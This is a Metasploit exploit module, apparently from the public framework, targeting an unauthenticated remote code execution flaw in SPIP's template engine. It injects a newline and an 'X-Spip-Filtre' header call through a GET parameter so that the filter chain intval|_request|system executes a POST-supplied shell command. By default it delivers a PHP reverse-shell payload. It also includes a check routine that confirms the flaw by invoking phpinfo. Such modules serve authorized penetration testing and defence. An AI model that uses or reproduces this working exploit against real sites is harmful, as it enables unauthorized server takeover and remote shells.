SPIP X-Spip-Filtre Unauthenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Spip
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',
            'Description' => %q{
              This module exploits a PHP function-call injection in SPIP's
              template engine. The analyse_resultat_skel() function extracts
              <?php header("X-Spip-Filtre: ..."); ?> patterns from the rendered
              page body and calls the listed functions as template filters.
    
              A newline character is injected into a GET parameter value, which
              places a header() call on its own line inside the compiled PHP
              template. The filter chain intval|_request|system reads a shell
              command from a POST parameter and executes it.
            },
            'Author' => [
              'Julien Voisin' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],
              ['CVE', '2026-77647']
            ],
            'Targets' => [
              [
                'Automatic',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ]
            ],
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-08-20',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        rversion = spip_version || spip_plugin_version('spip')
        return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
    
        print_status("SPIP Version detected: #{rversion}")
    
        injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n"
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'spip.php'),
          'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }
        )
        return CheckCode::Unknown('Target did not respond') unless res
    
        phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
        matches = phpinfo_markers.count { |m| res.body&.include?(m) }
    
        unless matches >= 2
          return CheckCode::Safe('Filter execution was not observed')
        end
    
        if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi
          disabled = ::Regexp.last_match(1).strip
          print_warning("disable_functions: #{disabled}") unless disabled.empty?
        end
    
        CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')
      end
    
      def exploit
        injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n"
    
        print_status('Sending exploit via newline injection (intval|_request|system)...')
        send_request_cgi(
          {
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'spip.php'),
            'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },
            'vars_post' => { '0' => payload.encoded }
          }
        )
      end
    end